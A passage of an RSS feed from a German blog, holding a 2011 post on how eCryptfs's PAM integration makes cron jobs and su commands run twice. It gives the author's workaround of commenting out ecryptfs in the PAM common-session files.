		<comments>http://www.georglutz.de/blog/2011/11/27/workaround-kombination-von-ecryptfs-und-pam-fuhrt-su-cron-befehle-doppelt-aus/#comments</comments>
		<pubDate>Sun, 27 Nov 2011 20:33:53 +0000</pubDate>
		<dc:creator>georg</dc:creator>
				<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.georglutz.de/blog/?p=305</guid>
		<description><![CDATA[Seit einiger Zeit stellt sich ein seltsamer Effekt ein: Befehle in der crontab des Users werden doppelt &#8211; zweimal hintereinander &#8211; ausgeführt. su &#8211; Kommandos auf den User werden doppelt ausgeführt (su -c ls user führt zur zweifachen Ausgabe des &#8230; <a href="http://www.georglutz.de/blog/2011/11/27/workaround-kombination-von-ecryptfs-und-pam-fuhrt-su-cron-befehle-doppelt-aus/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Seit einiger Zeit stellt sich ein seltsamer Effekt ein:</p>
<ul>
<li>Befehle in der crontab des Users werden doppelt &#8211; zweimal hintereinander &#8211; ausgeführt.</li>
<li>su &#8211; Kommandos auf den User werden doppelt ausgeführt (su -c ls user führt zur zweifachen Ausgabe des Verzeichnisinhaltes)</li>
</ul>
<p><span id="more-305"></span>Nach einigen Nachforschen hat sich ein Zusammenhang zu ecryptfs rausgestellt. Mit einem testweise umbenannten <code>~/.ecryptfs</code> verschwanden die Phänomene. Dabei hatte der User ein <code>~/.ecryptfs</code> angelegt, welches <strong>nicht</strong> beim Einloggen automatisch eingehängt wird (<code>~/.ecryptfs/auto-mount</code> existiert nicht).</p>
<p>Das Verhalten ist auch schon beschrieben im <a title="Ubuntu-Bugtracker" href="https://bugs.launchpad.net/ubuntu/+source/cron/+bug/137785/comments/3">Ubuntu-Bugtracker</a> :</p>
<blockquote><p>This bug is most likely not in cron. The integration of eCryptfs in PAM is causing problems elsewhere as well. If I log out from a VC and have an ~/.ecryptfs directory, then logout behaves weirdly, and I have to quit *two* shells, before I&#8217;m actually logged out.</p>
<p>The icky behaviour seems to be triggered because I&#8217;m not using the ~/.ecryptfs/auto-mount option.</p></blockquote>
<p>Glücklicherweise funktioniert der dort beschriebene Workaround (in <code>/etc/pam.d/common-session*</code> ecryptfs auskommentieren) auch in meinem Fall und die Befehle kommen nur noch einmal zum Zug.</p>
<p>Das ganze ist auch Beschrieben unter http://neokipling.blogspot.com/2011/05/ecryptfs.html .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.georglutz.de/blog/2011/11/27/workaround-kombination-von-ecryptfs-und-pam-fuhrt-su-cron-befehle-doppelt-aus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

